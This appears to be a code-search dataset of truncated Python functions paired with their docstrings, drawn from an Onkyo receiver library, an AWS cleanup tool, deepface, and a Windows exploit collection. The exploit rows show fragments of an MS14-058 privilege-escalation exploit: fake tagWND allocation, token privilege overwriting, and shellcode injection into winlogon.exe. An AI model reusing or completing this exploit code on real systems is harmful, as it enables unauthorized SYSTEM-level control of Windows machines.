ready = select.select([self.command_socket], [], [], timeout or 0)
if ready[0]:
header_bytes = ... | Return the next message sent by the receiver, or, after
``timeout`` has passed, return ``None``.
| get | python | miracle2k/onkyo-eiscp | eiscp/core.py | https://github.com/miracle2k/onkyo-eiscp/blob/master/eiscp/core.py | MIT |
def raw(self, iscp_message):
"""Send a low-level ISCP message, like ``MVL50``, and wait
for a response.
While the protocol is designed to acknowledge each message with
a response, there is no fool-proof way to differentiate those
from unsolicited status updates, though we'll do ... | Send a low-level ISCP message, like ``MVL50``, and wait
for a response.
While the protocol is designed to acknowledge each message with
a response, there is no fool-proof way to differentiate those
from unsolicited status updates, though we'll do our best to
try. Generally, this... | raw | python | miracle2k/onkyo-eiscp | eiscp/core.py | https://github.com/miracle2k/onkyo-eiscp/blob/master/eiscp/core.py | MIT |
def command(self, command, arguments=None, zone=None):
"""Send a high-level command to the receiver, return the
receiver's response formatted has a command.
This is basically a helper that combines :meth:`raw`,
:func:`command_to_iscp` and :func:`iscp_to_command`.
"""
isc... | Send a high-level command to the receiver, return the
receiver's response formatted has a command.
This is basically a helper that combines :meth:`raw`,
:func:`command_to_iscp` and :func:`iscp_to_command`.
| command | python | miracle2k/onkyo-eiscp | eiscp/core.py | https://github.com/miracle2k/onkyo-eiscp/blob/master/eiscp/core.py | MIT |
def send(self, iscp_message):
"""Like :meth:`eISCP.send`, but sends asynchronously via the
background thread.
"""
self._ensure_thread_running()
self._queue.put((iscp_message, None, None)) | Like :meth:`eISCP.send`, but sends asynchronously via the
background thread.
| send | python | miracle2k/onkyo-eiscp | eiscp/core.py | https://github.com/miracle2k/onkyo-eiscp/blob/master/eiscp/core.py | MIT |
def format_nri_list(data):
"""Return NRI lists as dict with names or ids as the key."""
if not data:
return None
info = {}
for item in data:
if item.get("name") is not None:
key = item.pop("name")
elif item.get("id") is not None:
key = item.pop("id")
... | Return NRI lists as dict with names or ids as the key. | format_nri_list | python | miracle2k/onkyo-eiscp | eiscp/utils.py | https://github.com/miracle2k/onkyo-eiscp/blob/master/eiscp/utils.py | MIT |
def sort_dict(item):
"""
Sort nested dict
https://gist.github.com/gyli/f60f0374defc383aa098d44cfbd318eb
"""
return {
k: sort_dict(v) if isinstance(v, dict) else v for k, v in sorted(item.items())
} |
Sort nested dict
https://gist.github.com/gyli/f60f0374defc383aa098d44cfbd318eb
| sort_dict | python | mlevit/aws-auto-cleanup | api/src/service/read.py | https://github.com/mlevit/aws-auto-cleanup/blob/master/api/src/service/read.py | MIT |
def addresses(self):
"""Deletes Addresses not allocated to an EC2 Instance."""
self.logging.debug("Started cleanup of EC2 Addresses.")
is_cleaning_enabled = Helper.get_setting(
self.settings, "services.ec2.address.clean", False
)
resource_allowlist = Helper.get_allow... | Deletes Addresses not allocated to an EC2 Instance. | addresses | python | mlevit/aws-auto-cleanup | app/src/ec2_cleanup.py | https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/ec2_cleanup.py | MIT |
def images(self):
"""Deletes Images not allocated to an EC2 Instance."""
self.logging.debug("Started cleanup of EC2 Images.")
is_cleaning_enabled = Helper.get_setting(
self.settings, "services.ec2.image.clean", False
)
resource_maximum_age = Helper.get_setting(
... | Deletes Images not allocated to an EC2 Instance. | images | python | mlevit/aws-auto-cleanup | app/src/ec2_cleanup.py | https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/ec2_cleanup.py | MIT |
def instances(self):
"""
Stops running Instances and terminates stopped instances.
If Instance has termination protection enabled, the protection will
be first disabled and then the Instance will be terminated.
"""
self.logging.debug("Started cleanup of EC2 Instances.")
... |
Stops running Instances and terminates stopped instances.
If Instance has termination protection enabled, the protection will
be first disabled and then the Instance will be terminated.
| instances | python | mlevit/aws-auto-cleanup | app/src/ec2_cleanup.py | https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/ec2_cleanup.py | MIT |
def security_groups(self):
"""Deletes Security Groups not attached to an EC2 Instance."""
self.logging.debug("Started cleanup of EC2 Security Groups.")
is_cleaning_enabled = Helper.get_setting(
self.settings, "services.ec2.security_group.clean", False
)
resource_allo... | Deletes Security Groups not attached to an EC2 Instance. | security_groups | python | mlevit/aws-auto-cleanup | app/src/ec2_cleanup.py | https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/ec2_cleanup.py | MIT |
def snapshots(self):
"""Deletes Snapshots not attached to EBS volumes."""
self.logging.debug("Started cleanup of EC2 Snapshots.")
is_cleaning_enabled = Helper.get_setting(
self.settings, "services.ec2.snapshot.clean", False
)
resource_maximum_age = Helper.get_setting... | Deletes Snapshots not attached to EBS volumes. | snapshots | python | mlevit/aws-auto-cleanup | app/src/ec2_cleanup.py | https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/ec2_cleanup.py | MIT |
def volumes(self):
"""Deletes Volumes not attached to an EC2 Instance."""
self.logging.debug("Started cleanup of EC2 Volumes.")
is_cleaning_enabled = Helper.get_setting(
self.settings, "services.ec2.volume.clean", False
)
resource_maximum_age = Helper.get_setting(
... | Deletes Volumes not attached to an EC2 Instance. | volumes | python | mlevit/aws-auto-cleanup | app/src/ec2_cleanup.py | https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/ec2_cleanup.py | MIT |
def fargate_profiles(self, cluster):
"""Deletes EKS Fargate Profiles for a Cluster."""
self.logging.debug(
f"Started cleanup of EKS Fargate Profiles for EKS Cluster {cluster}."
)
is_cleaning_enabled = Helper.get_setting(
self.settings, "services.eks.fargate_profi... | Deletes EKS Fargate Profiles for a Cluster. | fargate_profiles | python | mlevit/aws-auto-cleanup | app/src/eks_cleanup.py | https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/eks_cleanup.py | MIT |
def node_groups(self, cluster):
"""Deletes EKS Node Groups for a Cluster."""
self.logging.debug(
f"Started cleanup of EKS Node Groups for EKS Cluster {cluster}."
)
is_cleaning_enabled = Helper.get_setting(
self.settings, "services.eks.node_group.clean", False
... | Deletes EKS Node Groups for a Cluster. | node_groups | python | mlevit/aws-auto-cleanup | app/src/eks_cleanup.py | https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/eks_cleanup.py | MIT |
def access_keys(self, user):
"""Deletes IAM Access Keys for a User."""
self.logging.debug(f"Started cleanup of IAM Access Keys for IAM User '{user}'.")
is_cleaning_enabled = Helper.get_setting(
self.settings, "services.iam.access_key.clean", False
)
resource_maximum_... | Deletes IAM Access Keys for a User. | access_keys | python | mlevit/aws-auto-cleanup | app/src/iam_cleanup.py | https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/iam_cleanup.py | MIT |
def remove_user_from_group(self, user):
"""Removes IAM User from IAM Group."""
try:
paginator = self.client_iam.get_paginator("list_groups_for_user")
resources = (
paginator.paginate(UserName=user).build_full_result().get("Groups")
)
except:
... | Removes IAM User from IAM Group. | remove_user_from_group | python | mlevit/aws-auto-cleanup | app/src/iam_cleanup.py | https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/iam_cleanup.py | MIT |
def setup_dynamodb(self):
"""
Inserts all the default settings and allowlist data
into their respective DynamoDB tables. Records will be
skipped if they already exist in the table.
"""
try:
client = boto3.client("dynamodb")
with open("./src/data/a... |
Inserts all the default settings and allowlist data
into their respective DynamoDB tables. Records will be
skipped if they already exist in the table.
| setup_dynamodb | python | mlevit/aws-auto-cleanup | app/src/main.py | https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/main.py | MIT |
def export_execution_log(self, execution_log, aws_request_id):
"""Export a CSV file with all execution logs during run."""
try:
os.chdir(tempfile.gettempdir())
try:
_, temp_file = tempfile.mkstemp()
try:
with open(temp_file, "... | Export a CSV file with all execution logs during run. | export_execution_log | python | mlevit/aws-auto-cleanup | app/src/main.py | https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/main.py | MIT |
def clusters(self):
"""
Deletes RDS Clusters. If Cluster has termination
protection enabled, the protection will be first disabled
and then the Cluster will be terminated.
"""
self.logging.debug("Started cleanup of RDS Clusters.")
is_cleaning_enabled = Helper.get... |
Deletes RDS Clusters. If Cluster has termination
protection enabled, the protection will be first disabled
and then the Cluster will be terminated.
| clusters | python | mlevit/aws-auto-cleanup | app/src/rds_cleanup.py | https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/rds_cleanup.py | MIT |
def instances(self):
"""
Deletes RDS Instances. If Instance has termination
protection enabled, the protection will be first disabled
and then the Instance will be terminated.
"""
self.logging.debug("Started cleanup of RDS Instances.")
is_cleaning_enabled = Helpe... |
Deletes RDS Instances. If Instance has termination
protection enabled, the protection will be first disabled
and then the Instance will be terminated.
| instances | python | mlevit/aws-auto-cleanup | app/src/rds_cleanup.py | https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/rds_cleanup.py | MIT |
def buckets(self):
"""
Deletes Buckets. All Bucket Objects, Versions and Deleted Markers
are first deleted before the Bucket can be deleted.
"""
self.logging.debug("Started cleanup of S3 Buckets.")
is_cleaning_enabled = Helper.get_setting(
self.settings, "ser... |
Deletes Buckets. All Bucket Objects, Versions and Deleted Markers
are first deleted before the Bucket can be deleted.
| buckets | python | mlevit/aws-auto-cleanup | app/src/s3_cleanup.py | https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/s3_cleanup.py | MIT |
def get_handles():
"""Return all the open handles in the system"""
system_handle_information = SYSTEM_HANDLE_INFORMATION_EX()
size = DWORD (sizeof (system_handle_information))
while True:
result = ntdll.NtQuerySystemInformation(
SystemExtendedHandleInformation,
byref... | Return all the open handles in the system | get_handles | python | abatchy17/WindowsExploits | MS14-058/37064.py | https://github.com/abatchy17/WindowsExploits/blob/master/MS14-058/37064.py | Apache-2.0 |
def hook_callback_one(code, wParam, lParam):
"""Sets a new address for the window procedure"""
global bHookCallbackFlag
if ((cast((lParam+sizeof(HANDLE)*2),PDWORD)).contents).value == 0x1eb and\
not bHookCallbackFlag:
bHookCallbackFlag = True
if user32.UnhookWindowsHook(WH_CALLWNDP... | Sets a new address for the window procedure | hook_callback_one | python | abatchy17/WindowsExploits | MS14-058/37064.py | https://github.com/abatchy17/WindowsExploits/blob/master/MS14-058/37064.py | Apache-2.0 |
def hook_callback_two(hWnd, Msg, wParam, lParam):
"""Once called will return the fake tagWND address"""
global EXPLOITED
user32.EndMenu()
EXPLOITED = True
log("Returning the fake tagWND and overwriting token privileges...")
return 0x00000000FFFFFFFB | Once called will return the fake tagWND address | hook_callback_two | python | abatchy17/WindowsExploits | MS14-058/37064.py | https://github.com/abatchy17/WindowsExploits/blob/master/MS14-058/37064.py | Apache-2.0 |
def alloctagWND():
"""Allocate a fake tagWND in userspace at address 0x00000000fffffff0"""
hProcess = HANDLE(kernel32.GetCurrentProcess())
hToken = HANDLE()
hRestrictedToken = HANDLE()
if not advapi32.OpenProcessToken(hProcess,TOKEN_ALL_ACCESS, byref(hToken)):
log("Could not op... | Allocate a fake tagWND in userspace at address 0x00000000fffffff0 | alloctagWND | python | abatchy17/WindowsExploits | MS14-058/37064.py | https://github.com/abatchy17/WindowsExploits/blob/master/MS14-058/37064.py | Apache-2.0 |
def injectShell(hPrivilegedToken):
"""Impersonate privileged token and inject shellcode into winlogon.exe"""
while not EXPLOITED:
time.sleep(0.1)
log("-"*70)
log("Impersonating the privileged token...")
if not advapi32.ImpersonateLoggedOnUser(hPrivilegedToken):
log("Could not im... | Impersonate privileged token and inject shellcode into winlogon.exe | injectShell | python | abatchy17/WindowsExploits | MS14-058/37064.py | https://github.com/abatchy17/WindowsExploits/blob/master/MS14-058/37064.py | Apache-2.0 |
def verify(
img1_path: Union[str, np.ndarray, IO[bytes], List[float]],
img2_path: Union[str, np.ndarray, IO[bytes], List[float]],
model_name: str = "VGG-Face",
detector_backend: str = "opencv",
distance_metric: str = "cosine",
enforce_detection: bool = True,
align: bool = True,
expand_pe... |
Verify if an image pair represents the same person or different persons.
Args:
img1_path (str or np.ndarray or IO[bytes] or List[float]): Path to the first image.
Accepts exact image path as a string, numpy array (BGR), a file object that supports
at least `.read` and is opened ... | verify | python | serengil/deepface | deepface/DeepFace.py | https://github.com/serengil/deepface/blob/master/deepface/DeepFace.py | MIT |
def analyze(
img_path: Union[str, np.ndarray, IO[bytes], List[str], List[np.ndarray], List[IO[bytes]]],
actions: Union[tuple, list] = ("emotion", "age", "gender", "race"),
enforce_detection: bool = True,
detector_backend: str = "opencv",
align: bool = True,
expand_percentage: int = 0,
silent... |
Analyze facial attributes such as age, gender, emotion, and race in the provided image.
Args:
img_path (str, np.ndarray, IO[bytes], list): The exact path to the image, a numpy array
in BGR format, a file object that supports at least `.read` and is opened in binary
mode, or a ba... | analyze | python | serengil/deepface | deepface/DeepFace.py | https://github.com/serengil/deepface/blob/master/deepface/DeepFace.py | MIT |
def find(
img_path: Union[str, np.ndarray, IO[bytes]],
db_path: str,
model_name: str = "VGG-Face",
distance_metric: str = "cosine",
enforce_detection: bool = True,
detector_backend: str = "opencv",
align: bool = True,
expand_percentage: int = 0,
threshold: Optional[float] = None,
... |
Identify individuals in a database
Args:
img_path (str or np.ndarray or IO[bytes]): The exact path to the image, a numpy array
in BGR format, a file object that supports at least `.read` and is opened in binary
mode, or a base64 encoded image. If the source image contains multip... | find | python | serengil/deepface | deepface/DeepFace.py | https://github.com/serengil/deepface/blob/master/deepface/DeepFace.py | MIT |
def stream(
db_path: str = "",
model_name: str = "VGG-Face",
detector_backend: str = "opencv",
distance_metric: str = "cosine",
enable_face_analysis: bool = True,
source: Any = 0,
time_threshold: int = 5,
frame_threshold: int = 5,
anti_spoofing: bool = False,
output_path: Optiona... |
Run real time face recognition and facial attribute analysis
Args:
db_path (string): Path to the folder containing image files. All detected faces
in the database will be considered in the decision-making process.
model_name (str): Model for face recognition. Options: VGG-Face, Fa... | stream | python | serengil/deepface | deepface/DeepFace.py | https://github.com/serengil/deepface/blob/master/deepface/DeepFace.py | MIT |
def extract_faces(
img_path: Union[str, np.ndarray, IO[bytes]],
detector_backend: str = "opencv",
enforce_detection: bool = True,
align: bool = True,
expand_percentage: int = 0,
grayscale: bool = False,
color_face: str = "rgb",
normalize_face: bool = True,
anti_spoofing: bool = False... |
Extract faces from a given image
Args:
img_path (str or np.ndarray or IO[bytes]): Path to the first image. Accepts exact image path
as a string, numpy array (BGR), a file object that supports at least `.read` and is
opened in binary mode, or base64 encoded images.
dete... | extract_faces | python | serengil/deepface | deepface/DeepFace.py | https://github.com/serengil/deepface/blob/master/deepface/DeepFace.py | MIT |
def detectFace(
img_path: Union[str, np.ndarray],
target_size: tuple = (224, 224),
detector_backend: str = "opencv",
enforce_detection: bool = True,
align: bool = True,
) -> Union[np.ndarray, None]:
"""
Deprecated face detection function. Use extract_faces for same functionality.
Args:
... |
Deprecated face detection function. Use extract_faces for same functionality.
Args:
img_path (str or np.ndarray): Path to the first image. Accepts exact image path
as a string, numpy array (BGR), or base64 encoded images.
target_size (tuple): final shape of facial image. black pix... | detectFace | python | serengil/deepface | deepface/DeepFace.py | https://github.com/serengil/deepface/blob/master/deepface/DeepFace.py | MIT |
def extract_image_from_request(img_key: str) -> Union[str, np.ndarray]:
"""
Extracts an image from the request either from json or a multipart/form-data file.
Args:
img_key (str): The key used to retrieve the image data
from the request (e.g., 'img1').
Returns:
img (str or ... |
Extracts an image from the request either from json or a multipart/form-data file.
Args:
img_key (str): The key used to retrieve the image data
from the request (e.g., 'img1').
Returns:
img (str or np.ndarray): Given image detail (base64 encoded string, image path or url)
... | extract_image_from_request | python | serengil/deepface | deepface/api/src/modules/core/routes.py | https://github.com/serengil/deepface/blob/master/deepface/api/src/modules/core/routes.py | MIT |
def initialize_folder() -> None:
"""
Initialize the folder for storing model weights.
Raises:
OSError: if the folder cannot be created.
"""
home = get_deepface_home()
deepface_home_path = os.path.join(home, ".deepface")
weights_path = os.path.join(deepface_home_path, "weights")
... |
Initialize the folder for storing model weights.
Raises:
OSError: if the folder cannot be created.
| initialize_folder | python | serengil/deepface | deepface/commons/folder_utils.py | https://github.com/serengil/deepface/blob/master/deepface/commons/folder_utils.py | MIT |
def list_images(path: str) -> List[str]:
"""
List images in a given path
Args:
path (str): path's location
Returns:
images (list): list of exact image paths
"""
images = []
for r, _, f in os.walk(path):
for file in f:
if os.path.splitext(file)[1].lower() i... |
List images in a given path
Args:
path (str): path's location
Returns:
images (list): list of exact image paths
| list_images | python | serengil/deepface | deepface/commons/image_utils.py | https://github.com/serengil/deepface/blob/master/deepface/commons/image_utils.py | MIT |
def yield_images(path: str) -> Generator[str, None, None]:
"""
Yield images in a given path
Args:
path (str): path's location
Yields:
image (str): image path
"""
for r, _, f in os.walk(path):
for file in f:
if os.path.splitext(file)[1].lower() in IMAGE_EXTS:
... |
Yield images in a given path
Args:
path (str): path's location
Yields:
image (str): image path
| yield_images | python | serengil/deepface | deepface/commons/image_utils.py | https://github.com/serengil/deepface/blob/master/deepface/commons/image_utils.py | MIT |
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